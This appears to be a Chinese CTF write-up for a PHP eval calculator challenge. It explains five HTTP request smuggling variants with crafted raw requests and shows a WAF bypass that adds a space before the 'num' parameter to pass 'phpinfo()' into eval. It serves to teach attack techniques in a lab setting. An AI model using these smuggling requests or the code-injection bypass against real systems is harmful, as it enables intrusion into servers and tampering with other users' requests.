0x01 题目描述
打开题目如上图所示，有点像国赛的love_math
F12查看源码
提示有waf和一个calc.php网页，我们先打开这个网页看看是什么
打开后直接给出了源码，我们可以看见过滤了一些特殊字符，然后eval执行我们的命令，想着前面的waf，不可能是这样简单的，我们先试试传入一些字符试试。
当我传入字符时，waf拦截了我们的请求
题目的突破点：
- 只能传入数字和运算符号，不能传入字符（想办法绕过waf）
0x02 http走私攻击介绍
1、为什么会形成走私漏洞
前端服务器(CDN)和后端服务器接收数据不同步，引起对客户端传入的数据理解不一致，从而导致漏洞的产生。
大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置：Content-Length标头和Transfer-Encoding标头。
同时使用两种不同的方法时，Content-Length无效。当使用多个服务器时，对客户端传入的数据理解不一致时，就会出现有些服务器认为Content-Length的长度有效，有些以Transfer-Encoding有效。而一般情况下，反向代理服务器与后端的源站服务器之间，会重用TCP链接。这样超出的长度就会拼接到下一次请求进行请求，从而导致HTTP请求走私漏洞。
2、HTTP请求走私攻击的五种方式
(1)CL不为0
所有不携带请求体的HTTP请求都有可能受此影响。这里用GET请求举例。
前端代理服务器允许GET请求携带请求体；后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的Content-Length头，不进行处理。这就有可能导致请求走私。
构造请求示例：
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
\r\n是换行的意思，windows的换行是\r\n，unix的是\n，mac的是\r
攻击流程：
前端服务器收到该请求，读取Content-Length，判断这是一个完整的请求。
然后转发给后端服务器，后端服务器收到后，因为它不对Content-Length进行处理，由于Pipeline的存在，后端服务器就认为这是收到了两个请求，分别是：
第一个：
GET / HTTP/1.1\r\n
Host: test.com\r\n
第二个：
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
所以造成了请求走私。
（2）CL-CL
有些服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误。
但是中间代理服务器按照第一个Content-Length的值对请求进行处理，而后端源站服务器按照第二个Content-Length的值进行处理。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
攻击流程：
中间代理服务器获取到的数据包的长度为8，将上述整个数据包原封不动的转发给后端的源站服务器。
而后端服务器获取到的数据包长度为7。当读取完前7个字符后，后端服务器认为已经读取完毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母a，对于后端服务器来说，这个a是下一个请求的一部分，但是还没有传输完毕。
如果此时有一个其他的正常用户对服务器进行了请求：
GET /index.html HTTP/1.1\r\n
Host: test.com\r\n
因为代理服务器与源站服务器之间一般会重用TCP连接。所以正常用户的请求就拼接到了字母a的后面，当后端服务器接收完毕后，它实际处理的请求其实是：
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n
这时，用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响，而且还可以扩展成类似于CSRF的攻击方式。
但是一般的服务器都不会接受这种存在两个请求头的请求包。该怎么办呢？
所以想到前面所说的
RFC2616规范
如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length。
所以请求包中同时包含这两个请求头并不算违规，服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。
（3）CL-TE
CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理Content-Length请求头，而后端服务器会遵守RFC2616的规定，忽略掉Content-Length，处理Transfer-Encoding请求头。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
连续发送几次请求就可以获得响应。
攻击流程：
由于前端服务器处理Content-Length，所以这个请求对于它来说是一个完整的请求，请求体的长度为6，也就是
0\r\n
\r\n
a
当请求包经过代理服务器转发给后端服务器时，后端服务器处理Transfer-Encoding，当它读取到
0\r\n
\r\n
认为已经读取到结尾了。
但剩下的字母a就被留在了缓冲区中，等待下一次请求。当我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求：
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......
服务器在解析时就会产生报错了，从而造成HTTP请求走私。
(4)TE-CL
TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理Transfer-Encoding请求头，后端服务器处理Content-Length请求头。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
攻击流程：
前端服务器处理Transfer-Encoding，当其读取到
0\r\n
\r\n
认为是读取完毕了。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理Content-Length请求头，因为请求体的长度为4.也就是当它读取完
12\r\n
就认为这个请求已经结束了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
(5)TE-TE
TE-TE，当收到存在两个请求头的请求包时，前后端服务器都处理Transfer-Encoding请求头，确实是实现了RFC的标准。不过前后端服务器不是同一种。这就有了一种方法，我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作(如某个字符改变大小写)，从而使其中一个服务器不处理Transfer-Encoding请求头。在某种意义上这还是CL-TE或者TE-CL。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
攻击流程：
前端服务器处理Transfer-Encoding，当其读取到
0\r\n
\r\n
认为是读取结束。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器处理Transfer-encoding请求头，将Transfer-Encoding隐藏在服务端的一个chain中时，它将会回退到使用Content-Length去发送请求。读取到
5c\r\n
认为是读取完毕了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
0x03 HTTP请求走私实战
其它几种请求走私依旧可以，就不测试了。
可能用得到的几个函数
scandir()函数 返回指定目录中的文件和目录的数组。base_convert()函数 在任意进制之间转换数字，返回一个字符串dechex()函数：把十进制转换为十六进制。hex2bin()函数：把十六进制值的字符串转换为 ASCII 字符。readfile()函数
输出一个文件。
该函数读入一个文件并写入到输出缓冲。若成功，则返回从文件中读入的字节数。若失败，则返回 false。您可以通过@readfile()形式调用该函数，来隐藏错误信息。
0x04 PHP字符串解析特性绕过WAF
输入时发现num只能输入数字，输入字符无法解析。
这里可以利用php的字符串解析特性绕过bypass：利用PHP的字符串解析特性Bypass
所以我们可以在num前加个空格绕过waf
http://www.xxx.com/index.php? num=phpinfo()
0x05 参考链接
https://xz.aliyun.com/t/6654#toc-1
https://www.freebuf.com/articles/web/213359.html
